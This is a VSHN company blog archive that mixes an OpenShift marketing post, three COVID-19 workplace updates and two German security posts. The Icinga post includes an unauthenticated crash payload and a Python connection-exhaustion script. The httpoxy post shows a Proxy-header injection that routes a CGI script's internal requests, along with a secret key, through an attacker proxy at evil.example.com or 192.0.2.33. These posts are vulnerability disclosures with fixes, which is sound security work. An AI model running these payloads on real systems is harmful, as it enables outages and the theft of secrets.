Uncategorized

Thriving in a Zeitgeist Market

8. Mrz 2022

We are living in the Roaring New Twenties. Software is eating the world, just like Marc Andreessen predicted, and every company has become a software company, following the forecast of Forbes Magazine. This new world of software runs natively in the Cloud, or better yet, in its modern embodiment, Kubernetes.

Companies of all sizes are moving towards the Cloud, deploying applications faster through DevOps, opening new markets, and exploring new possibilities. In the most innovative industries, OpenShift has been chosen as the de facto Kubernetes-based platform for business applications. Thanks to its integration of CI/CD processes, user management, enterprise integrations, and developer-friendly features, OpenShift supports the new wave of financial innovation. Couple that with the trust of big names such as Red Hat and IBM, plus guaranteed support and updates, no wonder it has become the new standard.

But how can you differentiate your offering from your competition in such a Zeitgeist market, or, as Kim and Mauborgne named it in 2004, a “Red Ocean” of competitors and industries? Simply put, through innovation and high value products. You must relentlessly focus on your core competencies more than ever, and in software terms, that means listening to your customers, and keeping an eye on your own capacity to deliver new features.

Businesses find it hard, however, to break new ground when their development teams are busy operating -or fixing- infrastructure issues every day; backups, updates, monitoring; all essential tasks, but taking a toll on your team morale and your finances.

VSHN, the DevOps company, helps smart businesses by taking care of the maintenance of their OpenShift platforms, so that they can build the next big idea. Just like Acrevis did; with 8.4 billion CHF assets under management and 146 full-time employees, Acrevis provides IT services to other fintech players, and VSHN makes sure that it all just works, 24/7, 365 days a year.

Every company has different needs; some must operate within the Swiss borders, for legal or other reasons, and might thus be tempted to choose to run their own expensive on-premises infrastructure. This was the case of Neon (the first independent bank account app of Switzerland, where everything is done comfortably from your smartphone.) Nowadays, not only does VSHN take care of Neon’s OpenShift clusters, managed by a Swiss team certified by FINMA, ISO, and ISAE; we also make sure that their operations and data stay safely in Switzerland.

Last but not least, we have helped companies migrate their applications to OpenShift; and we can do that for you too. But do not take our word for it; see what we did for esurance or CreditGate24, just to name a few of the success stories experienced by our customers.

Do not let the Zeitgeist of the Cloud drown your business in a „Red Ocean“ of competition and operations. Get in touch with VSHN today and let us help you shape the future of your business.

Markus Speth

Markus is VSHN's CEO and one of the General Managers.

Kontaktiere uns

Unser Expertenteam steht für dich bereit. Im Notfall auch 24/7.

Kontakt
Uncategorized

More about our Coronavirus disease 2019 (COVID-19) Measures

17. Mrz 2020
Following the press conference held by the Federal Council yesterday afternoon about the Coronavirus disease 2019, we would like to provide an update to our blog post from last week, and talk about its impact on our daily operations.
We are sticking to the points mentioned last week in order to provide our customers with services to the usual extent. Given the latest measures decided by the authorities, we have decided to:

  • Home office: given the nature of our work, all VSHNeers are working from home starting Monday, March 16th, 2020.
  • Practicing social distancing: all personal meetings which are not absolutely necessary are to be postponed or to be held remotely.
  • Closely following the hygiene measures recommended by the Federal Office of Public Health.

We would like to remind everyone about the need to stay at home, to follow basic hygiene measures, and to stay informed. Those are the most important factors to prevent the spread of the disease at this stage. Let’s all please take care of one another! It goes without saying that we uphold our commitment to quality, SLAs, and 24/7 level of support to all our customers.
We will post more news here in the following days as needed. In the meantime, do not hesitate to contact us if you have any questions. For further detailed information, you can also have a look at our handbook.

Adrian Kosmaczewski

Adrian Kosmaczewski ist bei VSHN für den Bereich Developer Relations zuständig. Er ist seit 1996 Software-Entwickler, Trainer und veröffentlichter Autor. Adrian hat einen Master in Informationstechnologie von der Universität Liverpool.

Kontaktiere uns

Unser Expertenteam steht für dich bereit. Im Notfall auch 24/7.

Kontakt
Uncategorized

Update on Coronavirus disease 2019 (COVID-19) Measures

13. Mrz 2020
Following the press conference held by the Federal Council this afternoon about the Coronavirus disease 2019, we would like to provide an update to our blog post from last week, and talk about its impact on our daily operations.
We are sticking to the points mentioned last week in order to provide our customers with services to the usual extent:

  • Closely following the hygiene measures recommended by the Federal Office of Public Health, and making those recommendations very visible to everyone in our office.
  • Asking all VSHNeers to take their laptops with them at the end of the working day. This would enable them to work from home, in case authorities decided to increase the level of protection measures.
  • Asking all VSHNeers to stay at home if they feel sick, have high temperature, or have excessive coughing and sneezing symptoms.
  • Avoiding all unnecessary trips, in particular to more heavily exposed regions.

Given the severity of the situation, we have decided the following:

  • We ask all VSHNeers to work from home starting next week, whenever possible. As stated in our blog post last week, the very nature of our business makes this a natural step for all VSHNeers.
  • We will not hold any person-to-person meetings, neither in our offices nor at our customers‘. We ask our customers to do such meetings online, and VSHN can provide the necessary infrastructure.

We would like to remind everyone about the need to stay informed, and to follow basic hygiene measures. Those are the most important factors to prevent the spread of the disease at this stage. Let’s all please take care of one another! It goes without saying that we uphold our commitment to quality, SLAs, and 24/7 level of support to all our customers.
We will post more news here in the following days as needed. In the meantime, do not hesitate to contact us if you have any questions.

Adrian Kosmaczewski

Adrian Kosmaczewski ist bei VSHN für den Bereich Developer Relations zuständig. Er ist seit 1996 Software-Entwickler, Trainer und veröffentlichter Autor. Adrian hat einen Master in Informationstechnologie von der Universität Liverpool.

Kontaktiere uns

Unser Expertenteam steht für dich bereit. Im Notfall auch 24/7.

Kontakt
Uncategorized

Coronavirus disease 2019 (COVID-19) Measures at VSHN

6. Mrz 2020
VSHN is closely following the evolution of the Coronavirus disease 2019. To ensure the high level of service our customers expect, we have established a few internal recommendations for all VSHNeers to pay attention to. These include:

  • Closely following the hygiene measures recommended by the Federal Office of Public Health, and making those recommendations very visible to everyone in our office.
  • Asking all VSHNeers to take their laptops with them at the end of the working day. This would enable them to work from home, in case authorities decided to increase the level of protection measures.
  • Asking all VSHNeers to stay at home if they feel sick, have high temperature, or have excessive coughing and sneezing symptoms.
  • Avoiding all unnecessary trips, in particular to more heavily exposed regions.

Given the nature of our business, at VSHN we do not depend on a particular office location to run our business. We have years of practical experience with home office setups and remote work accommodations, and as such we are perfectly prepared to work under these circumstances.
We believe that staying informed, and following basic hygiene measures, are the most important factors to prevent the spread of the disease at this stage. We are committed to the highest availability of the systems we manage, to the well-being of society at large, and to the health of our VSHNeers in particular.
We will post more news here in the following days as needed. In the meantime, do not hesitate to contact us if you have any questions.

Main entrance of VSHN’s offices (Neugasse 10, 8005 Zürich) with official recommendations

Adrian Kosmaczewski

Adrian Kosmaczewski ist bei VSHN für den Bereich Developer Relations zuständig. Er ist seit 1996 Software-Entwickler, Trainer und veröffentlichter Autor. Adrian hat einen Master in Informationstechnologie von der Universität Liverpool.

Kontaktiere uns

Unser Expertenteam steht für dich bereit. Im Notfall auch 24/7.

Kontakt
Uncategorized

Icinga 2.8.2 behebt mehrere Sicherheitslücken

22. Mrz 2018

Manchmal stösst man bei der Arbeit als Site Reliability Engineer auf Situationen, die so nicht sein sollten. So war es auch Mitte Januar 2018, als ich für ein privates Projekt an einer Icinga2-Installation arbeitete. Ich versuchte über die Konsole eine interne Funktion von einem CheckCommand-Objekt aus der Icinga2-Skriptsprache aufzurufen:

get_check_command("dummy").execute(null, null, null, false)

Daraufhin stürzte der Icinga2-Daemon wegen der Dereferenzierung eines NULL-Zeigers ab. Nach kurzer Lektüre des Codes war klar, dass nur wenige per Skript erreichbare Funktionen ihre Parameter mit der nötigen Sorgfalt prüfen.

Mein Interesse war geweckt und so suchte ich nach einer Möglichkeit, diesen Absturz über die Icinga-API herbeizuführen. Ohne „console“-Berechtigung war dies jedoch nicht direkt möglich.

Allerdings fand ich dann eine Reihe von anderen Problemen, die allesamt übers Netzwerk von extern ausnutzbar sind und als „Denial of Service“ klassifiziert werden können. Beispielsweise wurden bei mehreren API-Endpunkten die Parameter ohne vorgängige Kontrolle dereferenziert. Folgender Code benötigt keine Authentifizierung und führt bei allen Icinga2-Versionen vor 2.8.2 zu einem Absturz:

msg=$(jq --null-input --compact-output --raw-output '{
  "id": "foo",
  "jsonrpc": "2.0",
  "method": "event::Heartbeat",
  "params": null
}') && \
{ sleep 1; echo "${#msg}:${msg},"; sleep 3; } | \
openssl s_client -connect 192.0.2.1:5665

Weitere Beispiele dieser Art sind in meinem technischen Bericht zu finden. Einige davon benötigen ein Client-Zertifikat, andere setzen eine bestimmte Konstellation der Master und Clients voraus.

Daneben fanden sich mehrere Szenarien, in denen auf dem Server unbegrenzt Ressourcen, vor allem Arbeitsspeicher, konsumiert werden. Mit diesem Python-Code beispielsweise wird eine grosse Anzahl TCP-Verbindungen geöffnet, die dann unbenutzt liegen bleiben und wovon jede im Icinga2-Daemon einen Thread mit dazugehörigem Stack belegt:

import resource
import socket
import time
resource.setrlimit(resource.RLIMIT_NOFILE, (131072, 131072))
conn = []
while True:
    try:
        conn.append(socket.create_connection(('192.0.2.1', 5665)))
    except BaseException as err:
        print(err)
        break
print(len(conn))
while True:
    time.sleep(1)

Je nach verfügbaren Ressourcen auf dem Server wird der Icinga2-Daemon schon nach kurzer Zeit vom OOM-Killer im Linux-Kernel beendet.

Beim Lesen des Codes stellte sich auch heraus, dass Passwörter mit std::string::operator== verglichen werden. Diese Funktion, wie auch strcmp, bricht den Vergleich ab, sobald ein Unterschied vorliegt. Ein Angreifer kann die Zeitunterschiede messen und damit eine Seitenkanalattacke durchführen.

Auf meiner privaten Webseite habe ich einen technischen Bericht mit weiteren Details zu den von mir gefundenen Sicherheitsproblemen in Icinga 2.8.1 und älter veröffentlicht. Version 2.8.2 von Icinga behebt diese und weitere. VSHN hat Icinga2 auf sämtlichen relevanten Kundensystemen bereits aktualisiert.

michael.hanselmann

Michael (hansmi) ist VSHNeer und Site Reliability Engineer

Kontaktiere uns

Unser Expertenteam steht für dich bereit. Im Notfall auch 24/7.

Kontakt
Uncategorized

httpoxy: Eine unauffällige HTTP-Kopfzeile führt zur Sicherheitslücke

25. Jul 2016

Am 18. Juli 2016 wurde eine Gruppe von Sicherheitslücken namens httpoxy veröffentlicht. Wir haben Auswirkungen auf unsere eigene Infrastruktur sowie die unserer Kunden bewertet und sind derzeit dabei, Gegenmassnahmen zu ergreifen.

Was ist httpoxy?

httpoxy ist eine Mehrzahl von verwandten Sicherheitslücken, die via Common Gateway Interface (CGI) aufgerufene oder in CGI-ähnlichen Umgebungen laufende Programme betreffen. Jede Kopfzeile einer HTTP-Anfrage (engl. «header») wird vor dem Programmaufruf in eine Umgebungsvariable mit dem Namensschema HTTP_${Name-in-Grossbuchstaben}gespeichert. Aus User-Agent: wird beispielsweise HTTP_USER_AGENT. httpoxy betrifft die Proxy:-Kopfzeile, die dann in HTTP_PROXY abgelegt wird.
Die Sicherheitslücke rührt daher, dass die Standardvariable zur Festlegung eines HTTP-Proxies unter Unix-Systemen http_proxy heisst. Proxies für andere Protokolle werden in nach dem gleichen Schema benannten Variablen übergeben. So definiert ftp_proxy den Proxy für das File Transfer Protocol (FTP) und gopher_proxy für Gopher.

Unix, Windows und die Unterscheidung von Gross- und Kleinschreibung

Der grösste Teil der VSHN-Infrastruktur und unserer Kunden laufen mit Unix-kompatiblen Systemen, vorallem Linux. Diese Systeme unterscheiden bei Umgebungsvariablen bzw. deren Namen zwischen Gross- und Kleinschreibung. Andere Systeme, darunter Microsoft Windows®, tun dies nicht.

$ http_proxy=lower HTTP_PROXY=upper \
> bash -c 'echo "$HTTP_PROXY" "$http_proxy"'
upper lower

Leider halten sich nicht alle Programme und Bibliotheken an diese plattform-spezifische Konvention. Die Python-Bibliothek requests beispielsweise liest auch auf Unix-Systemen einen Proxy aus HTTP_PROXY, obwohl die Standardvariable http_proxy heisst:

$ http_proxy=http://proxy.example.net HTTP_PROXY=evil.example.com \
> python3 -c 'import logging, requests;
> logging.basicConfig(level=logging.NOTSET);
> requests.get("http://vshn.ch")'
INFO:urllib3.connectionpool:Starting new HTTP connection (1): evil.example.com
[…]

Demzufolge können interne Abfragen einer Webseite umgeleitet werden, wenn durch externe Faktoren die HTTP_PROXY-Variable kontrolliert werden kann, wie dies durch httpoxy beschrieben wird.

$ curl -v --header 'Proxy: evil.example.com'
[…]
> GET / HTTP/1.1
[…]
> Proxy:
[…]

Angenommen, die URL wird durch via CGI, FastCGI oder eine ähnliche Technologie aufgerufenen Code behandelt, so wird dieser eine Umgebungsvariable namens HTTP_PROXY mit dem Wert erhalten. Interne Abfragen werden dann über ebendiesen Proxy geleitet, wenn die verwendeten Bibliotheken verwundbar sind.
Die httpoxy-Webseite listet weitere Beispiele und sog. CVEs. Mit grosser Wahrscheinlichkeit werden in den kommenden Stunden, Tagen und Wochen weitere gefunden werden.

Demonstration aus der Praxis

Man nehme ein herkömmliches CGI-Skript:

#!/usr/bin/python3
import os
import requests
print("Status: 200")
print("Content-type: text/plain")
print()
print(dict((k, v) for (k, v) in os.environ.items() if k.lower() == "http_proxy"))
print("---")
url = "http://backend.example.com/?secret_key=lZLx60gP"
try:
  print(requests.get(url).text)
except Exception as err:
  print("Error: {}".format(err))

Angenommen eine Angreiferin kontrolliert einen HTTP-Proxy mit der IP-Adresse 192.0.2.33 und Port 3128 (der Standardport des Proxy-Servers Squid) macht eine HTTP-Anfrage wie folgend:

curl -H 'Proxy: ' -v

Die resultierende interne Abfrage wird durch den von der Angreiferin kontrollierten Proxy geleitet. Ein Auszug aus den Logdateien des Proxy-Servers:

TCP_MISS/504 1617 GET  - DIRECT/backend.example.com text/html

In diesem Fall ist die Beispiel-URL ungültig und der Proxy liefert eine Fehlermeldung zurück:

$ curl -H 'Proxy: ' -v
[…]
> GET /cgi-bin/contact.py HTTP/1.1
> User-Agent: curl/7
> Accept: */*
> Proxy:
>
< HTTP/1.1 200 OK
< Date: Mon, 25 Jul 2016 13:58:50 GMT
< Content-Type: text/plain
<
{'HTTP_PROXY': 'http://192.0.2.33:3128'}
---
[…]
<p>The following error was encountered while trying to retrieve the URL:
<a href="http://backend.example.com/?">http://backend.example.com/?</a></p>
[…]

In der Realität könnte der Proxy den in der URL enthaltenen Schlüssel speichern und hätte die vollständige Kontrolle über die Antwort.

Schadensminderung

Es wird eine Weile dauern, bis alle Applikationen und Bibliotheken aktualisiert und diese verbesserten Versionen in den Produktiveinsatz gebracht wurden. Bis dahin sollten HTTP-Server sämtliche Proxy-Kopfzeilen entfernen. Dies sollte keinen Einfluss auf die Funktion von Webseiten oder Applikationen haben, denn Proxy ist weder von der IETF definiert noch im IANA-Verzeichnis für Nachrichtenkopfzeilen gelistet, also nicht standardisiert. Seit mindestens 1996 bis zur Aufhebung der Empfehlung mit RFC 6648 im Jahr 2012 mussten eigene Kopfzeilen mit einem X--Präfix versehen sein.
Manchmal werden Applikationen von Drittanbieter mit alten und somit verwundbaren Bibliotheken oder unsicheren Konfigurationen ausgeliefert. Auch hier ist es wichtig, eine Schadensminderung umzusetzen.
Die httpoxy-Webseite hat eine Anzahl von Konfigurationsbeispielen veröffentlicht, mit denen Proxy-Kopfzeilen in diversen HTTP-Servern und verwandten Programmen entfernt werden können. Ebenso bietet die Webseite Beispiele für Applikations- und Bibliotheksentwickler.

Schlussfolgerung

Wir empfehlen, HTTP-Server und sog. Reverse-Proxies so zu konfigurieren, dass sie sämtliche Proxy-Kopfzeilen zu entfernen. Es schadet dabei nicht, dies auch mehrfach im Verlauf einer HTTP-Anfrage zu tun.
Die Sicherheitslücke ist jetzt öffentlich und es ist nur eine Frage der Zeit, bis diese für automatisierte und gezielte Angriffe ausgenutzt wird.
Auch wenn eine Webseite oder Applikation heute nicht anfällig ist–und schon das ist schwierig abzuklären–so wird sie es vielleicht in der Zukunft. Nicht alle Projekte halten ihre Abhängigkeiten von Drittanbietern aktuell.

michael.hanselmann

Michael (hansmi) ist VSHNeer und Site Reliability Engineer

Kontaktiere uns

Unser Expertenteam steht für dich bereit. Im Notfall auch 24/7.

Kontakt